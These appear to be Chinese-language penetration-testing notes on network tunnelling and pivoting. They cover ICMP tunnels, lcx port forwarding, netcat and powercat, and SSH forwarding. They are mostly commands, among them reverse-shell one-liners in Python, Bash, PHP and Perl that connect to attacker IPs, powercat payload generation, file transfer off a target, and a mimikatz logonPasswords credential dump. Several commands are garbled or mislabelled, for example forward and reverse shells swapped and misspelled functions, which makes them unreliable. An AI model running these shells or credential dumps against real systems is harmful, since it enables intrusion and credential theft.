网络在通信前会在两台机器建立TCP连接,然后进行通信。
隧道是绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者进行封装 ,然后穿过防火墙,与对方通信。
网络层:IPV6隧道,ICMP隧道,GRE隧道;
传输层:TCP隧道,UDP隧道,常规端口转发。
应用层:SSH隧道,HTTP隧道,HTTS隧道,DNS 隧道
判断内网连通性:
判断协议:tcp,http,dns,icmp等;
允许流量出口的端口:80 ,8080,443,53,110,123等
1.ICMP协议:
2.TCP协议
nc工具;
nc -zv 192.168.102.21 135
3.HTTP协议
curl :curl www.baidu.com 80
3.DNS协议
nslookup:(windows)
Ipv6隧道技术简介:
是通过IPv4隧道 IPv6数据报文的技术,把IPv6报文整体封装在IPv4数据报文中。
执行隧道功能的节点的IPv6地址如果兼容IPv地址时,自动隧道是可行的 。如果给执行隧道功能的节点分配地址采用的时自动隧道方法就不用进行配置;
配置隧道方法要求隧道末端节点 使用其他机制来获得IPv4地址:DHCP,人工配置;
支持IPv6的隧道工具有socat 6tunnel,n6tunnel等。
ICMP隧道:
一般两台机器通信开放端口,但是ICMP不需要,最常见的就是ping命令:如果攻击上层隧道(HTTP,DNS,正反代理转发)都不行,那么就可以通过 ping命令访问远程机器,建立ICMP隧道,将TCP/UDP封装进ICMP的ping命令中,从而穿过防火墙(防火墙不会屏蔽ping命令) 。
常用的ICMP工具:icmpsh,pingtunnel ,icmptunnel ,powershell icmp
icmpsh:
安装python-impacket库:
sudo apt-get install python-impacket
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
输入之后在提示框输入目标IP地址
在目标机输入:
icmp.exe -t 192.168.1.7 -d 500 -b 30 -s 128
即可上线;
2.Ping Tunnel
防御ICMP隧道攻击的方法:
传输层传输技术:
常用技术有TCP,UDP ,常规端口转发等;
如果防火墙阻止了对指定端口的访问,获得目标机的权限可以用IPTABLES打开指定端口
lcx:
内网端口转发:
把靶机的3389端口转发到444端口;
靶机:lcx.exe -slave <公网IP> 444 127.0.0.1 3389
将本机的444端口监听的所有数据转到555端口;
vps: lcx.exe -listen 444 555
本地端口转发:
lcx -tran <目标主机的Ip> 3389;
netcat:
cd netcat-0.7.1/
chmod +x configure
./configure
make
nc没有-e选项解决方案:
原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,
变更方法如下:
输入
sudo update-alternatives --config nc
此时会显示netcat的各个版本,输入2选择traditional
apt install netcat-traditional
sudo update-alternatives --config nc
2
banner 抓取:
提供当前网络中系统信息和 运行服务的信息
nc -nv 127.0.0.1. 80
连接远程主机:
nc -nvv 187.65.1.207 445
端口扫描:
nc -v 127.0.0.1 80
nc -v -z 127.0.0.1 1-1024
端口监听:
当访问该端口时会将信息输出到命令行:
nc -l -p 9999
文件传输:
VPS输入:nc -lp 9999 >2.txt
目标主机输入:nc -vn 127.0.0.1 9999 < /root/netcat-0.7.1/install-sh -q 1
简易聊天:
vps:nc -l -p 9999
目标主机: nc -vn 127.0.0.1 999
获取 shell:
正向shell:客户端获取服务器的shell;
反向shell:服务器获取客户端的shell;通常用在开启防御措施的目标机器,例如防火墙过滤,端口转发;
(1)正向shell:
靶机:nc 108.61.183.100 4444
vps: nc -lvp 4444 -e /bin/sh
nc -lvp 4444 -e c:\windows\system32\cmd.exe
(2)反向shell:
本机或者VPS主机:nc _lvp 9999
目标机: nc -lvp 4444 -e /bin/sh
nc -lvp 4444 -e c:\windows\system32\cmd.exe
python:
目标机(ubuntu):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.102.77",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
攻击机监听:
nc -lvp 2222
Bash反向shell:
bash -i >& /dev/tcp/ip/port 0>&1
PHP反向shell:
php -r '$sock=fsockopen("192.168.102.67",2222);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
perl反向shell:
perl -e ‘ use Socket ;$i="192.168.102.67";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conect(s,socketaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
内网代理:
vps(192.168.102.109
)→linux→web服务器(192.168.102.67 3333,不出网
)
vps:nc -lvp 3333
linux: nc -lvp 3333 -e /bin/sh
web: nc -v 192.168.102.109 3333 -c “nc -v 192.168.102.67 3333”
powercat:
Import-Module .\powercat.ps1
set-executionpolicy remotesigned(权限不够时输入)
通过nc正向连接powercat:
客户机:powercat -l -p 8080 -e cmd.exe -v
kali:netcat 192.168.102.232 8080-vv
chcp 65001
powershell "./mimikatz.exe 'sekurlsa::logonPasswords full' > C:\Users\wxl\Desktop\14.txt 'exit'"
用powercat正向shell连接;mimikzta获取密码是dump不出来的;并且会弹powershell框
-l;监听模式,用于入站连接;
-p指定监听端口;
-e 启动进程的名称;
-v 显示详情;
nc反向连接shell:
kali:netcat -l -p 8080-vv
客户机:powercat -c 192.168.102.232 -p 8080 -e cmd.exe
通过powercat返回powershell:
win10(102.55):powershell -l -p 9999 -v
win7(102.232):powercat -c 192.168.102.55 -p 9999 -v -ep
powercat 传文件:
win10:powercat -l -p 9999 -of 14.txt -v
win7:powercat -c 192.168.102.55 -p 9999 -i c:\users\wxl\desktop\14.txt -v
powercat 生成payload:
win7 :powercat -l -p 9999 -e cmd -v -g >> shell.ps1
将生成的payload上传到win10,win7中执行命令:
powercat -c 192.168.102.55 -p 9999 -v
反弹shell;
win7 :powercat -l -p 9999 -e cmd -v -g >> shell2.ps1
powercat -c 192.168.102.55 -p 9999 -v
生成经过编码的payload:
win7 :powercat -c 192.168.102.55 -p 9999 -ep -ge
powercat -l -p 9999 -v
SSH协议:
此外,本文只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH,会用到另一种软件PuTTY,这需要另文介绍。
二、最基本的用法
SSH主要用于远程登录。假定你要以用户名user,登录远程主机host,只要一条简单命令就可以了。
$ ssh user@host
如果本地用户名与远程用户名一致,登录时可以省略用户名。
$ ssh host
SSH的默认端口是22,也就是说,你的登录请求会送进远程主机的22端口。使用p参数,可以修改这个端口。
$ ssh -p 2222 user@host
创建ssh隧道参数:
-c:压缩传输,提高传输速度;
-f: 将ssh传输转入后台,不占用当前的shell;
-N:建立静默链接,(看不到具体会话);
-g:允许远程主机连接本地用于转发的端口;
-l:本地端口转发;
-r:远程端口转发;
-p:指定SSH端口;
-D:socks代理;
1.端口转发:
以Ubuntu为跳板将win7的3389端口映射到vps的1153端口上,就能通过1153访问3389了
Cobalt Strike socks4代理: